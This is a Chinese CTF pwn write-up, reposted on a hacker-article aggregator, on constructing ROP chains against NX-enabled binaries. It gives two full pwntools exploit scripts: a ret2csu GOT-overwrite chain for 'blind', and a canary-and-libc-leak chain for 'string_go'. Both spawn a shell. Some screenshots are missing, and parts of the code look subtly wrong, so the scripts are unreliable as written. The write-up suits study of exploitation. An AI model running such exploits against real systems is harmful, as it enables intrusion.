记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

剖析NX开启状态下ROP的构造

2022-01-20 15:52

前言

在学习pwn的过程中,我们通常会碰到开启NX的情况,也就是堆栈不可执行,在这种情况下,我们要利用栈内的未被清空的内容或者例如init这种函数,来进行构造rop,进一步编写exp拿到shell。

blind init

首先用IDA查看文件:

很明显的一个栈溢出漏洞:接着我们checksec一下:

就看见一个NX开启,这个很明显我们通过init上的几个汇编代码:



将数据存入寄存器,再利用

来运行其中寄存器r12中的东西,很常见的思路。

我们决定利用

这两个函数来在bss段。

构造system(‘bin/sh’)这个危险函数。

引入:

构建payload:

注入:打通

exp如下:

from pwn import *p = remote()ELF = ELF("./blind")payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["read"])    payload += p64(1)    payload += p64(ELF.got["alarm"])    payload += p64(0)    payload += p64(0x4007A0)   payload += 'A' * 56     payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["read"])    payload += p64(0x3b)    payload += p64(0x601088)    payload += p64(0)    payload += p64(0x4007A0)   payload += 'A' * 56    payload = "a" * (0x50+0x8)payload = p64(0x4007BA)    payload += p64(0x0)     payload += p64(0x1)     payload += p64(ELF.got["alarm"])    payload += p64(0)    payload += p64(0)    payload += p64(0x601088)    payload += p64(0x4007A0)   payload += 'A' * 56payload += (0x500 - len(payload)) * "a"p.send(payload)p.send("\xd5")p.send("/bin/sh\x00" + "abc" )p.interactive()

string_go

先打开ida看看

checksec一下,发现保护全开......

接着我们继续看代码:

可见我们第一次输入的会先进行一个splite和一系列验证,之后再输入绕过lative_func,我们首先绕过这些再通过它获取canary。

可以看到,要绕过:

绕过的话就需要输入一个-7,而最后那个直接输入一个\x10就可以了。

接下来就是常规操作,获取canary,获取libc地址,最终cat flag,行云流水。

exp如下:

from pwn import *p = remote(,)context.log_level = "debug"context.arch = "amd64"elf = ELF("./string_go")p.sendlineafter(">>> ", "1+2")p.sendlineafter(">>> ","-7")p.sendlineafter(">>> ","helloword")p.sendlineafter(">>> ","\x10")p.recv(0x38)canary = u64(p.recv(0x6).ljust('/x00',8))p.recv(0x18)elf.address = u64(p.recv(0x8)) - 0x254Dp.recv(0x98)libc.address = u64(p.recv(0x8)) - 0x7fbdd8975bf7 - 0x7fbdd8954000shell = p64(elf.address + 0x3cf3)shell += p64(next(libc.search("/bin/sh")))+p64(libc.sym["system"])payload = "a" * 0x18payload += p64(canary)payload += "a" * 0x18payload += p64(elf.address+0x14ce)payload += shellp.sendline(payload)p.interactive()

知识来源: https://www.freebuf.com/vuls/320380.html

阅读:33986 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“剖析NX开启状态下ROP的构造”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁